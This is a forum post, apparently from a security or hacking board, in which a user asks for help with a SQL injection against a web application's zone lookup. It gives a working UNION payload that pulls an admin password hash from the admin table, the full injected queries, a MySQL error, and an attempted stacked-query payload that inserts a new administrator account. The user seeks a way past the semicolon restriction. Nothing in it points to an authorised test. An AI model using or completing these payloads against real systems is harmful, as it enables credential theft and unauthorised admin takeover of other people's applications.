| Tw1stedL0gic |
| Regular user |
 |
|
| Joined: Mar 31, 2007 |
| Posts: 11 |
|
|
|
 |
|
 |
|
Right I've got the SQL injection working with select statements, But I want an insert. I've used union to get my select working, but for inserts I need to end the first statement with a semi-colon. However, for some reason it doesn't like it.
Here's the full SQL statement within the app:
| Code: | | select zone_name from zones where zone_country_id = '[unsanitised input]' and zone_id = '0' |
Here's the SQL I can get to work:
| Code: | | 1' union select admin_password from admin where admin_id='1' # |
(The hash turns the rest of the code into a comment)
Which makes the full SQL statement into:
| Code: | | select zone_name from zones where zone_country_id = '1' union select admin_password from admin where admin_id='1' #' and zone_id = '0' |
The code I want to get working is this:
| Code: | | 1'; insert into admin (admin_id, admin_email_address, admin_password) values ('8', 'test@email.com', 'passwordhash'); # |
Which turns the SQL statement in the app into:
| Code: | | select zone_name from zones where zone_country_id = '1'; insert into admin (admin_id, admin_email_address, admin_password) values ('8', 'test@email.com', 'passwordhash'); #' and zone_id = '0' |
But it's giving this error:
| Code: | 1064 - You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '; insert into admin (admin_id, admin_groups_id, admin_firstname, admin_lastname,' at line 1
select zone_name from zones where zone_country_id = '1'; insert into admin (admin_id, admin_groups_id, admin_firstname, admin_lastname, admin_email_address, admin_password, admin_created, admin_modified, admin_logdate, admin_lognum) values ('8', '1', 'System', 'System', 'noreply@somesite.com', '74ffeda34d533e866243c3549d838a24:83', '2003-06-22 09:00:03', '2003-11-01 00:12:19', '2004-03-31 02:36:21', '1225'); #' and zone_id = '0' |
It seems it doesn't like the semi-colon. Is there another way I can get the insert statement in there, other than the semi-colon?
What's gone wrong here?
Thanks |
|
Discussions
Tools
Content
Info
Membership:
Latest: 
New Today: 0
New Yesterday: 0
Overall: 9144
People Online:
Visitors: 40
Members: 0
Total: 40
